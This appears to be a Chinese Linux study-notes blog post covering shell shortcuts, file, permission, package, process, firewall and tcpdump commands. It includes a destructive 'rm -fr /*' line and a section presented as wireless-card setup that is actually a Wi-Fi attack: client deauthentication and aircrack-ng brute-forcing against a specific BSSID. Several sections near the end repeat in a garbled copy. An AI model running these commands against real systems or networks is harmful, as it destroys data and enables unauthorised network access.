Linux_20210421

1、root

为系统最高权限用户,可以做任何事

输入su 指令进入root模式

删除所有根目录下文件

rm -fr /*

debain和ubuntu

升级自己为root用户

sudo -s
//然后输入密码

1.1、颜色权限

1、颜色权限

蓝色表示目录;

绿色表示可执行文件;

红色表示压缩文件;

浅蓝色表示链接文件;

白色表示其他文件;

黄色是设备文件,包括block, char, fifo

2、打开grub控制行

启动linux时按c键进入grub命令行模式

在这里插入图片描述

退出命令reboot或者win10打开任务管理器快捷键

reboot重启系统

source+文件位置//重新加载某个文件

3、代理服务器

4、vi编译模式命令

进入编辑模式,按 o 进行编辑

编辑结束,按ESC 键 跳到命令模式,然后输入退出命令:

:w保存文件但不退出vi 编辑

:w! 强制保存,不退出vi 编辑

:w file将修改另存到file中,不退出vi 编辑

:wq保存文件并退出vi 编辑

:wq!强制保存文件并退出vi 编辑

q:不保存文件并退出vi 编辑

:q!不保存文件并强制退出vi 编辑

:e!放弃所有修改,从上次保存文件开始在编辑

5、其余快捷键

1、tab //命令或路径等的补全键,linux用的最多的一个快捷键 ⭐️

2、ctrl+a //光标迅速回到行首 ⭐️

3、ctrl+e //光标迅速回到行尾 ⭐️

4、ctrl+f //光标向右移动一个字符

5、ctrl+b //光标向左移动一个字符

6、ctrl+insert //复制命令行内容(mac系统不能使用)

7、shift+insert //粘贴命令行内容(mac系统不能使用)

8、ctrl+k //剪切(删除)光标处到行尾的所有字符 ⭐️

9、ctrl+u //剪切(删除)光标处到行首的所有字符 ⭐️

10、ctrl+w //剪切(删除)光标前的一个字符

11、ctrl+y //粘贴 ctrl+k、ctrl+u、ctrl+w删除的字符 ⭐️

12、ctrl+c //中断终端正在执行的任务并开启一个新的一行 ⭐️

13、ctrl+h //删除光标前的一个字符(相当于退格键)

14、ctrl+d //退出当前shell命令行,如果是切换过来的用户,则执行这个命令回退到原用户 ⭐️

15、ctrl+r //搜索命令行使用过的历史命令记录 ⭐️

16、ctrl+g //从ctrl+r的搜索历史命令模式中退出

17、ctrl+l //清楚屏幕所有的内容,并开启一个新的一行 ⭐️

18、ctrl+s //锁定终端,使之任何人无法输入

19、ctrl+q //解锁ctrl+s的锁定状态

20、ctrl+z //暂停在终端运行的任务,使用"fg"命令可以使暂停恢复 ⭐️

21、!! //执行上一条命令 ⭐️

22、!pw //这是一个例子,是执行以pw开头的命令,这里的pw可以换成任何已经执行过的字符 ⭐️

23、!pw:p //这是一个例子,是仅打印以pw开头的命令,但不执行,最后的那个“p”是命令固定字符 ⭐️

24、!num //执行历史命令列表的第num条命令,num代指任何数字(前提是历史命令里必须存在)⭐️

25、!$ //代指上一条命令的最后一个参数,该命令常用于shell脚本中 ⭐️

26、esc+. //注意那个".“ 意思是获取上一条命令的(以空格为分隔符)最后的部分 ⭐️

27、esc+b //移动到当前单词的开头

28、esc+f //移动到当前单词的结尾

6、shell命令

shell是一个横跨在用户与系统之间命令解释器

注意root用户执行shell命令为#开头,非root用户为$开头

shell命令前缀

用户名@主机名 当前目录

在这里插入图片描述

其余命令
cd 目录          //进入目录 命令

cat 文件名       ///查看文件内容

快捷键自动补全 Tab

cat s《Tab》《Tab》  //会显示当前s开头文件列表
ls *.cpp    //列出所有以cpp为结尾的文件
ls text[1A] //匹配所有前面为text后面为1或A的文件
ls text[1-3]//匹配所有前面为text后面为1或2或3的文件,同理其他数字
ls text[A-B]//匹配所有前面为text后面为A或B或C的文件,同理其他字母
pwd //显示当前目录
ifconfig // 查看IP地址
列出目录命令
dir /+目录   //与cat用法一致
vdir //相当于在ls命令加上-1选项
查看文件命令cat和more

全部显示的cat

cat + 文件名
cat + 文件名 +文件名//可以跟多个文件名
cat -n +文件名 ///cat命令允许添加-n选项,显示每一行行号

一页一页显示的more

用法与cat一致不多赘述

不同:因为是一页一页显示,more命令会在最后显示一个百分比,表示已显示内容在文件中比例,回车键向下滚动一行q退出

more + 文件名

阅读文件开头和结尾head和tail

支持-n,后接参数表示显示行数

head -n 行数 文件名//
tail -n 行数 文件名
更好的文本阅读工具less

//兼容vim、emacs,使用行号与百分比作为书签

支持-m命令显示更多文件信息

less 文件名
查找文件内容:grep

查找内容为关键词需要加 ‘ ’

grep 查找内容 文件名//可以指定多个文件
find命令

-print表示标准输出,打到控制台上显示

find /etc/ -name wpa_supplicant.conf  -print
//find 目录 -name 文件名 -print,会打印出被查找目标的绝对路经,文件名格式参考ls

type参数:find通过此选项来定位特殊文件类型

find命令选择参数:

b块设备文件、f普通文件、c字符设备文件、p命名通道、d目录文件、l符号链接

find /etc/ -type d -atime +1 -print
//-atime +n表示用来查找n天前修改文件

find /etc/ -type d -mtime -1 -print
//-mtime -n表示用来查找最近一天内前修改文件
快速定位:locate

完全不记得在哪里的文件,可以使用locate进行模糊搜索,位置

locate  文件名或者其他搜索格式
从终端运行其他程序:firefox
firefox  程序名称//终端挂起,直至运行完毕
firefox 程序名& //程序后台运行,终端不挂起
查找特定程序:whereis

主要用于查找程序文件,提供该程序文件的二进制可执行文件、源代码文件和首页存放位置


用户以及版本查看
who //查看谁登录
whoami//当前用户名
uname -a//显示当前系统版本信息
uname -r//内核linux版本信息
寻求帮助的命令
寻求帮助man

man 系统命令

介绍命令whatis

whatis uname

反查命令apropos

apropos search

7、linux文件目录架构

在这里插入图片描述

8、新建用户等操作(root下)

useradd -d /usr/sam -m sam      //useradd -d /usr/一般默认用户名 -m 用户名

注意root新创建的用户,没有指定密码默认为空,这样是无法登陆的所以需要设定密码

passwd sam   /// password 用户名,只有root才能设置密码

删除账号

userdel sam//用户名,注意删除前记得关闭相关进程

9、建立文件和目录:

mkdir目录

mkdir可以一次建立多个或一个目录

mkdir documnet picture

用户可以使用绝对路径新建目录(必须先有tempx路径)

mkdir ~/tempx/job

​ 没有相关路径linux支持一次性创建

如下,先创建tempx然后job

mkdir -p ~/tempx/job

建立空文件命令touch

touch hello //在当前目录里创建hello的空文件

一般常用于程序需要某个文件启动,但是这个文件不重要,所以创建空文件骗过程序用已启动

移动和重命名的mv:

mv hello document/  ///将hello文件移动到当前目录下的document目录下
mv hello/ document/  ///将hello文件夹移动到当前目录下的document目录下
mv document/hello hello02 //将这个目录下的hello重新命名为hello,目录+新名字
mv -i hello02 document/    ///将hello02移动到document里,重名会提示是否覆盖y表示yes,n就跳过

复制文件和目录的cp:

cp用来复制文件和目录

与mv一样默认情况下覆盖目标目录中的同名文件,同样适用-i

cp hello02 documnet //将hello02复制到decumnet文件夹下

删除目录和文件的rmdir和rm:

rmdir

使用rmdir的目录必须为空,所以一般先使用rm命令删除目录下所有子文件

rmdir 目录名//
rm

rm使用就永久删除,不会放入回收站里,使用时建议添加-i,用已确认(部分linux不需要-i也有提示),y确认n跳过

rm -i hello

或者使用-f避免与提示的交互问题

touch hello
rm -f hello

带-r的表示递归删除该目录下所有文件和子目录

注意参数命令可以有好几个

rm -r -f  documnet  

10、文件和目录权限

查看文件和目录的属性(w、r、x)

ls -l 文件或目录位置
ll //或者

改变所有权的ch(ange)own和ch(ange)grp

支持-R,将目录下所有文件所有权也全部设置为目录拥有者的所有权,否则目录拥有者只拥有目录所有权

ll展示权限一般如图

drwxr-xr-x 1 root root 0 Dec 29 10:04 ./
drwx–x--x 1 root root 0 Apr 8 2019 …/
drwxr-xr-x 1 root root 0 Jan 19 17:47 ddos/
drwxr-xr-x 1 root root 0 Dec 29 10:04 sbin/

分别代表 用户-用户组-其他人的权限 数量 所有权拥有者 超级用户 时间 文件名

su
mkdir doucment
ll
chown sam:root document ///权限修改只能在root下修改 格式:chown 用户:root 目录名
ll 

mkdir doucment
touch hello
mv hello doucment/
ll
cd /doucment
ll

su
chown -R prince2:root testquanxian

chgrp用法一致,就是变成用户组

改变文件权限chmod

用户组元素构成:

主体:文件属主u,文件属组g、其他人o、所有人a(u+g+o=a)

权限:读取r、写入w、执行x

增加权限采用+,删除权限采用-,除此之外可以采用主体=权限来直接设定文件权限

chmod o-x sbin //其他人被删除执行权限
chmod a+x sbin //所有人被添加执行权限
chmod u=x sbin//属主增加执行权限

文件权限还有八进制表示方式

在这里插入图片描述

在这里插入图片描述

建立链接:链接ln

linux独有的类似于windows的快捷方式

软/符号链接ln -s

需要使用带-s参数的ln命令创建

文件用户数据块中存放的内容是另外一个文件的路径名指向(c指针?),可对文件或目录创建.

常见于以下场景:方便管理、解决系统硬盘空间不足。

注意软链接源文件一旦被删除,软链接既刻失效

硬链接ln

通过索引节点进行连接,linux’中多个文件指向同一索引节点是被允许的,这就叫硬链接。

只能在同一文件系统中的文件进行硬链接,不能对目录创建。与widows不同的是,即使源文件被删除,硬链接文件仍然存在,仍然可以使用

查看命令tail

tail [参数] [文件]  

参数:

  • -f 循环读取
  • -q 不显示处理信息
  • -v 显示详细的处理信息
  • -c<数目> 显示的字节数
  • -n<行数> 显示文件的尾部 n 行内容
  • –pid=PID 与-f合用,表示在进程ID,PID死掉之后结束
  • -q, --quiet, --silent 从不输出给出文件名的首部
  • -s, --sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S

11、ubuntu系统卸载软件

有多个卸载命令:remove、purge、autoremove、clean、autoclean

purge和remove

apt-get purge、apt-get --purge remove:

删除已安装包、不保留配置文件

autoremove

apt-get autoremove:删除为了满足依赖而安装的现在不被需要的软件包,配置文件不删除

autoclean

apt-get autoclean :APT的底层包是dpkg, 而dpkg 安装Package时, 会将 *.deb 放在 /var/cache/apt/archives/中,apt-get autoclean 只会删除 /var/cache/apt/archives/ 已经过期的deb。

clean

apt-get clean:会将 /var/cache/apt/archives/ 的 所有 deb 删掉,可以理解为 rm /var/cache/apt/archives/*.deb。

所以正常删除流程

apt-get --purge remove <package>#删除软件以及配置文件
apt-get autoremove <package>#删除没用的依赖包
dpkg -l |grep ^r|cawk '{print $2}' |sudo xargs dpkg -P#删除所有rc状态软件包

12、cat过滤注释行

cat /etc/zabbix/zabbix_agentd.conf
#或者
grep -Ev '^$|#'

13、重启网卡服务

在这里插入图片描述

版本号不同,命令不同

13、关闭防火墙

*下面是red hat/CentOs7关闭防火墙的命令!*

*1:查看防火状态*

*systemctl status firewalld*

*service iptables status*

*2:暂时关闭防火墙*

*systemctl stop firewalld*

****service iptables stop******

*3:永久关闭防火墙*

*systemctl disable firewalld*

****chkconfig iptables off******

*4:重启防火墙*

*systemctl enable firewalld*

*service iptables restart*

*5:永久关闭后重启*

//暂时还没有试过

*chkconfig iptables on*

14、重设root密码

https://blog.csdn.net/dyb2010fly/article/details/103592854

15、查看linux系统基本信息

lsb_release -a
uname -r

16、配置无线网卡

  • 查看网卡名字:iwconfig
  • 设置网卡为监听模式:airmon-ng start wlan0
  • 扫描附近的WIFI:airodump-ng wlan0mon
  • 选定一个路由器,并监听其流量:airodump-ng -w tplink -c 11 --bssid BC:46:99:3D:66:D6 wlan0mon
  • 选定连接的一个客户端,进行攻击:aireplay-ng -0 50 -a BC:46:99:3D:66:D6 -c A0:AF:BD:D8:E6:31 wlan0mon
  • 对抓取到的cap包进行暴力破解:aircrack-ng -w password.txt -b BC:46:99:3D:66:D6 tplink-01.cap

17、linux误操作退出命令

命令后加了单引号,进入<界面,再输入一个单引号或者强制退出

18、查看当前进程状态-ps

部分参数:

  • -A 列出所有的进程
  • -w 显示加宽可以显示较多的资讯
  • -au 显示较详细的资讯
  • -aux 显示所有包含其他使用者的行程
  • au(x) 输出格式 :
  • -ef 显示所有命令连同命令行

语法:

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
  • USER: 行程拥有者
  • PID: pid
  • %CPU: 占用的 CPU 使用率
  • %MEM: 占用的记忆体使用率
  • VSZ: 占用的虚拟记忆体大小
  • RSS: 占用的记忆体大小
  • TTY: 终端的次要装置号码 (minor device number of tty)
  • STAT: 该行程的状态:
    • D: 无法中断的休眠状态 (通常 IO 的进程)
    • R: 正在执行中
    • S: 静止状态
    • T: 暂停执行
    • Z: 不存在但暂时无法消除
    • W: 没有足够的记忆体分页可分配
    • <: 高优先序的行程
    • N: 低优先序的行程
    • L: 有记忆体分页分配并锁在记忆体内 (实时系统或捱A I/O)
  • START: 行程开始时间
  • TIME: 执行的时间
  • COMMAND:所执行的指令

19、退出telnet

ctrl+]退出编译模式

quit 退出命令模式

20、pidstat-监控全部系统或指定进程的占用系统资源命令

安装

apt-get install sysstat
yum install sysstat

参数

-u:默认的参数,显示各个进程的cpu使用统计

-r:显示各个进程的内存使用统计

-d:显示各个进程的IO使用情况

-p:指定进程号

-w:显示每个进程的上下文切换情况

-t:显示选择任务的线程的统计信息外的额外信息

-T { TASK | CHILD | ALL }
这个选项指定了pidstat监控的。TASK表示报告独立的task,CHILD关键字表示报告进程下所有线程统计信息。ALL表示报告独立的task和task下面的所有线程。
注意:task和子线程的全局的统计信息和pidstat选项无关。这些统计信息不会对应到当前的统计间隔,这些统计信息只有在子线程kill或者完成的时候才会被收集。

-V:版本号

-h:在一行上显示了所有活动,这样其他程序可以容易解析。

-I:在SMP环境,表示任务的CPU使用率/内核数量

-l:显示命令名和所有参数

使用实例

查看所有进程的cpu使用情况
pidstat
pidstat -u -p ALL#两个是等效的

在这里插入图片描述

进程id的PID、进程用户在空间占用的百分比%usr、进程在内核空间占用的cpu百分比%system、进程在虚拟机占用的cpu百分比%guest、进程占用cpu的百分比%CPU,处理进程cpu编号,对应当前进程命令Command

内存使用情况统计(-r)
pidstat -r

在这里插入图片描述

pid进程标识符、minflt/s任务每秒发生的次要错误、majflt/s任务每秒发生的主要错误需要从磁盘中加载,vsz虚拟地址大小虚拟内存使用kb、rss常驻集合大小非交换区五里内存使用kb,command,task命令名

各进程上下文切换-w

在这里插入图片描述

pid进程id、cswch/s每秒主动任务上下文切换数量、nvcswch/s每秒被动任务上下文切换数量、command命令名

21、防火墙命令

防火墙命令格式

https://blog.csdn.net/lemontree1945/article/details/79309273

iptables [-t table] -CMD chain CRETIRIA -j ACTION
eg:iptables -t raw -A PREROUTING -j ACCEPT -s 192.168.22.154/24 -d 192.168.22.192/24 #向raw表的PREROUTING链尾端添加一条新规则

#插入iptables [-t table] -I chain pos CRETIRIA -j ACTION
#替换iptables [-t table] -R chain pos CRETIRIA -j ACTION
#删除iptables [-t table] -D chain pos
#包匹配

-t table:3张表中的其中一种filter, nat, mangle,如果没有指定,默认是filter。
CMD:操作命令。查看、添加、替换、删除等。
chain:链。指定是对表中的哪条链进行操作,如filter表中的INPUT链。
CRETIRIA:匹配模式。对要过滤的数据包进行描述
ACTION:操作。接受、拒绝、丢弃等。

22、tcpdump抓包命令

tcpdump -i 网卡名称 
#eg
#tcpdump -i eth0 -vnn host 10.10.10.122
#抓取eth0网卡的10.10.10.122数据包

抓取通过eth0网卡的udp协议的数据包
# tcpdump -i eth0 -vnn  udp

抓取包含端口22的数据包
# tcpdump -i eth0 -vnn port 22

抓取源ip是10.10.10.2且目的端口是22,或源ip是10.10.10.65且目的端口是80的数据包。
# tcpdump -i eth0 -vnn \( src host 10.10.10.2 and dst port 22 \) or   \( src host 10.10.10.65 and dst port 80 \)

抓取源ip是10.10.10.122且端口不是22的数据包
# tcpdump -i eth0 -vnn src host 10.10.10.122 and not port 22

23、tac命令

与cat命令相当,将文件反着展示出来

24、>、 >>

'> '代表覆盖源文件

cat /etc/hosts > hosts.log
echo "7 7 7 7" > /proc/sys/kernel/printk

'>>'追加当前日期

echo " 当前日期是 'date' " >> host.log

ls - l hosts.log
#执行此命令后显示文件会追加当前日期时间

25、dmesg

用于显示linux开机信息

kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存在/var/log目录中,名称为dmesg的文件里。
这些开机信息一般包括软件在启动后必须要加载执行的某些东西,对于判断程式是否是正常状态很重要

路由内核kernel

10.10.122
#抓取eth0网卡的10.10.10.122数据包

抓取通过eth0网卡的udp协议的数据包

tcpdump -i eth0 -vnn udp

抓取包含端口22的数据包

tcpdump -i eth0 -vnn port 22

抓取源ip是10.10.10.2且目的端口是22,或源ip是10.10.10.65且目的端口是80的数据包。

tcpdump -i eth0 -vnn ( src host 10.10.10.2 and dst port 22 ) or ( src host 10.10.10.65 and dst port 80 )

抓取源ip是10.10.10.122且端口不是22的数据包

tcpdump -i eth0 -vnn src host 10.10.10.122 and not port 22


## 23、tac命令

与cat命令相当,将文件反着展示出来

## 24、>、 >>

'> '代表覆盖源文件

cat /etc/hosts > hosts.log
echo “7 7 7 7” > /proc/sys/kernel/printk


'>>'追加当前日期

```shell
echo " 当前日期是 'date' " >> host.log

ls - l hosts.log
#执行此命令后显示文件会追加当前日期时间

25、dmesg

用于显示linux开机信息

kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存在/var/log目录中,名称为dmesg的文件里。

路由内核kernel

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值